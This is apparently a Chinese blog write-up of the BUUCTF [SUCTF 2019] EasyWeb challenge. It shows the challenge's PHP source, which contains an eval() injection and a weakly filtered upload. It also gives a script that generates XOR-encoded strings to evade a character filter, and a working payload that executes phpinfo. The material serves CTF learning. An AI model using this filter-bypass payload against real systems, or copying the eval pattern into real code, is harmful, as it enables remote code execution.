当前位置: 首页 > news >正文

141,【1】buuctf web [SUCTF 2019]EasyWeb

进入靶场

代码审计

<?php
// 定义函数get_the_flag,功能是处理文件上传相关操作
function get_the_flag() {
    // 注释说明:webadmin会每隔20分钟删除用户上传的文件
    $userdir = "upload/tmp_" . md5($_SERVER['REMOTE_ADDR']);
    // 检查用户目录是否存在,如果不存在则创建
    if (!file_exists($userdir)) {
        mkdir($userdir);
    }
    // 检查是否有文件上传
    if (!empty($_FILES["file"])) {
        $tmp_name = $_FILES["file"]["tmp_name"];  // 获取上传文件在服务器上的临时文件名
        $name = $_FILES["file"]["name"];  // 获取上传文件的原始文件名
        // 获取上传文件的扩展名
        $extension = substr($name, strrpos($name, ".") + 1);
        // 检查扩展名是否包含"ph"(不区分大小写),如果包含则终止脚本执行
        if (preg_match("/ph/i", $extension)) die("^_^");
        // 检查上传文件内容是否包含"<?", 如果包含则终止脚本执行
        if (mb_strpos(file_get_contents($tmp_name), '<?')!== False) die("^_^");
        // 检查上传文件是否是有效的图像类型,不是则终止脚本执行
        if (!exif_imagetype($tmp_name)) die("^_^");
        $path = $userdir. "/" . $name;  // 构建上传文件的目标路径
        // 尝试将上传文件从临时位置移动到目标位置
        @move_uploaded_file($tmp_name, $path);
        print_r($path);  // 打印文件的保存路径
    }
}

// 从GET请求参数中获取名为"_"的参数值,并赋值给变量$hhh
$hhh = @$_GET['_'];

// 如果$hhh没有值,高亮显示当前文件内容
if (!$hhh) {
    highlight_file(__FILE__);
}

// 如果$hhh的长度大于18,终止脚本执行并输出提示信息
if (strlen($hhh) > 18) {
    die('One inch long, one inch strong!');
}

// 使用正则表达式检查$hhh是否包含特定字符集(包括一些常见字符和控制字符等),如果包含则终止脚本执行
if (preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh))
    die('Try something else!');

// 获取$hhh中使用到的字符,并以字符形式返回
$character_type = count_chars($hhh, 3);
// 如果$character_type的长度大于12,终止脚本执行并输出提示信息
if (strlen($character_type) > 12) die("Almost there!");

// 执行$hhh中的PHP代码,存在严重的代码执行漏洞风险
eval($hhh);
?>

 实现了文件上传功能,并对上传文件进行了一些限制和检查

条件好苛刻

<?php
// 初始化两个空字符串,用于存储生成的内容
$l = "";
$r = "";
// 将字符串_GET拆分成字符数组
$argv = str_split("_GET");
// 遍历字符数组中的每个字符
for ($i = 0; $i < count($argv); $i++) {
    // 遍历0到254的整数
    for ($j = 0; $j < 255; $j++) {
        // 将字符$j对应的ASCII码值与255进行按位异或操作,然后转换回字符
        $k = chr($j) ^ chr(255);
        // 如果异或结果与当前字符匹配
        if ($k == $argv[$i]) {
            // 如果$j小于16,在$r中添加十六进制表示时在前面补0
            if ($j < 16) {
                $l.= "%ff";
                $r.= "%0". dechex($j);
                continue;
            }
            $l.= "%ff";
            $r.= "%". dechex($j);
            continue;
        }
    }
}
// 输出包含$l、字符$和$r的字符串
echo "\{$l`$r\}";
?>

{%ff%ff%ff%ff`%a0%b8%ba%ab}

?_=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo 

flag{dc834348-3be9-4eff-abc1-150000430933} 

相关文章:

  • 【C++干货分享】集合 位运算
  • AI-TRANS标准草案框架解析
  • STL中list的模拟实现
  • 145,【5】 buuctf web [GWCTF 2019]mypassword
  • 分布式 NewSQL 数据库(TiDB)
  • 基于大数据的北京市天气数据分析系统的设计与实现
  • 【C++】31.C++11​(3)
  • ShenNiusModularity项目源码学习(8:数据库操作)
  • unity学习40:导入模型的 Animations文件夹内容,动画属性和修改动画文件
  • C# Task 学习记录
  • 3、树莓派5 安装VNC查看器 开启VNC服务器
  • linu软件编程——IO
  • 2月15日星期六今日早报简报微语报早读
  • React - 高阶函数-函数柯里化
  • 2015-2024年上市公司商道融绿esg评级数据
  • 寒假刷题Day24
  • Word正文中每两个字符之间插入一个英文半角空格
  • 服务器虚拟化(详解)
  • 枚举Enum用法
  • ros:ur机械臂初识
  • 中方是否认同俄方关于新纳粹主义观点?外交部:联大曾多次通过相关决议
  • 市自规局公告收回新校区建设用地,宿迁学院:需变更建设主体
  • 前4个月我国货物贸易进出口同比增长2.4%,增速较一季度加快1.1个百分点
  • 纪念|古文字学泰斗裘锡圭:“还有很多事情要做”
  • 股价两天涨超30%,中航成飞:不存在应披露而未披露的重大事项
  • 从“重规模”向“重回报”转变,公募基金迎系统性改革